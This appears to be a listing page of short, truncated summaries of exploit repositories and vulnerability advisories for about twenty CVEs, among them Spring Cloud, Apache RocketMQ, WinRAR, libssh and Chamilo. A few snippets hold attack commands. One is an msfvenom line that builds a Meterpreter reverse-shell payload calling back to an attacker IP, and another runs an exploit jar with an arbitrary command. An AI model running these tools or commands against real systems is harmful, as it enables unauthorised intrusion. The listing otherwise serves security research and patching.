CVE-2020-15227

CVE-2020-15227 ¡DESCARGO DE RESPONSABILIDAD! No me hago responsable de su uso en un entorno real, así que por favor NO lo haga. Esta cosita es solo para demostrar y para pruebas para administradores de sistemas. Hice este exploit según la publicación de un CVE de David Grudl el fundador de Nette...

CVE-2026-41870

Apache Nutch Server (Nutch REST API) is vulnerable to unauthenticated remote code execution (RCE) via JEXL injection , stemming from missing authorization and unsafe reflection of externally-controlled input. This affects Apache Nutch versions 1.11 through 1.22 . The vulnerability carries a CVSS ...

CVE-2022-24637

CVE-2022-24637 Exploit para el RCE no autenticado en Open Web Analytics OWA 1.7.3. Este trabajo se basa en https://devel0pment.de/?p=2494. AVISO LEGAL: Este script está diseñado para auditar la seguridad de los sistemas. Utilice este script únicamente en sus propios sistemas o en sistemas en los...

CVE-2022-0848-RCE

CVE-2022-0848 Ejecución Remota de Código RCE en part-db 0.5.11 Cambia el host en el archivo bash y ejecútalo, luego obtén la shell mediante RCE...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞CVE-2023-33246 Exploit 使用方法: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" 本工具的特点 由于心跳机制30s触发一次漏洞，所以工具延时35秒，保证命令被执行，随后再还原配置文件，所以该工具对漏洞进行利用的时候，并不会对环境产生影响！前提是你需要等待工具自然结束，而不是强制关闭它！ 免责声明:...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947简介 Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公 开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。 影响版本 root@kitploit: Spring Cloud Gateway 3.1.x 3.1.1 Spring Cloud Gateway 3.0.7 脚本介绍 本脚本主要功能有漏洞扫描包括对单个和批量扫描 使用教程 1、单个目标...

CVE-2022-30024

CVE-2022-30024 Exploit de RCE para Tplink wr841 v10 ⚠️ Descargo de responsabilidad El código de este repositorio se proporciona tal cual únicamente con fines educativos y de investigación en seguridad defensiva. Úselo únicamente en sistemas de su propiedad o en los que tenga permiso explícito para...

CVE-2018-20250

Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedimiento Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Prueba-de-concepto Chamilo LMS: Carga de archivos grandes no autenticada que permite ejecución remota de código EL CÓDIGO ESTÁ HECHO Y USADO PARA HACKTHEBOX CTF PERMX Carga de archivo no autenticada en la funcionalidad de carga de archivos grandes en...

LibSSH-exploit

LibSSH-exploit CVE-2018-10933 Servidores ssh vulnerables - libssh anterior a 0.8.4 Envía un mensaje de usuario autorizado que permite RCE Uso: ''' Libsshexploit.py '''...

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell RCE no autenticado en React Server Components CVE-2025-55182, también conocida como React2Shell , es una vulnerabilidad crítica de Ejecución Remota de Código RCE no autenticada que afecta a los paquetes de React Server Components versiones 19.0, 19.1.0, 19.1.1 y 19.2....

EUVD-2026-74800

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

CVE-2026-65181 Apache Impala: RCE via External Data Source Class Loading

Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue...

CVE-2026-65181

Apache Impala versions 2.7 through 4.5 are affected by an insufficient authorization flaw in Data Source tables that enables remote code execution (RCE) via external data source class loading . A client with existing privileges can upload a file to remote storage and create a table, which trigger...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Exploit de ejecución remota de código en Windows -orange?style=f...

CVE-2022-22963-PoC

CVE-2022-22963 RCE PoC Ejemplo mínimo para reproducir la ejecución remota de código CVE-2022-22963 en org.springframework.cloud:spring-cloud-function-core. Exploit Ejecutar el servidor root@kitploit: mvn spring-boot:run Realizar una petición root@kitploit: curl -X POST -H...

CVE-2020-27955-LFS

Vulnerabilidad de Ejecución Remota de Código RCE en Git-lfs CVE-2020-27955 .bat / versión powershell Vulnerables: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en...

Assignement_3-CVE-2017-7269

CVE-2017-7269 Nombre : Killian Munt-Buron y Naji Ullah Abbasi Descripción del CVE CVE-2017-7269 es una vulnerabilidad de desbordamiento de búfer en Microsoft Windows Server 2003 R2. La vulnerabilidad está en la función ScStoragePathFromUrl en WebDAV. Esta vulnerabilidad permite ejecutar código...

CVE-2022-22965-PoC

PoC de CVE-2022-22965 Ejemplo mínimo de cómo reproducir CVE-2022-22965 Spring RCE. Ejecutar usando docker compose 1. Construye la aplicación usando Docker compose root@kitploit: docker-compose up --build 2. Para probar la aplicación navega a...

cve-2024-4577

Script de prueba para CVE-2024-4577 Este script de Python es una herramienta simple PoC Prueba de Concepto para diagnosticar la vulnerabilidad más reciente de PHP CVE-2024-4577. ⚠️ Esta herramienta se proporciona con fines de diagnóstico de seguridad y debe usarse solo en sistemas propios o en...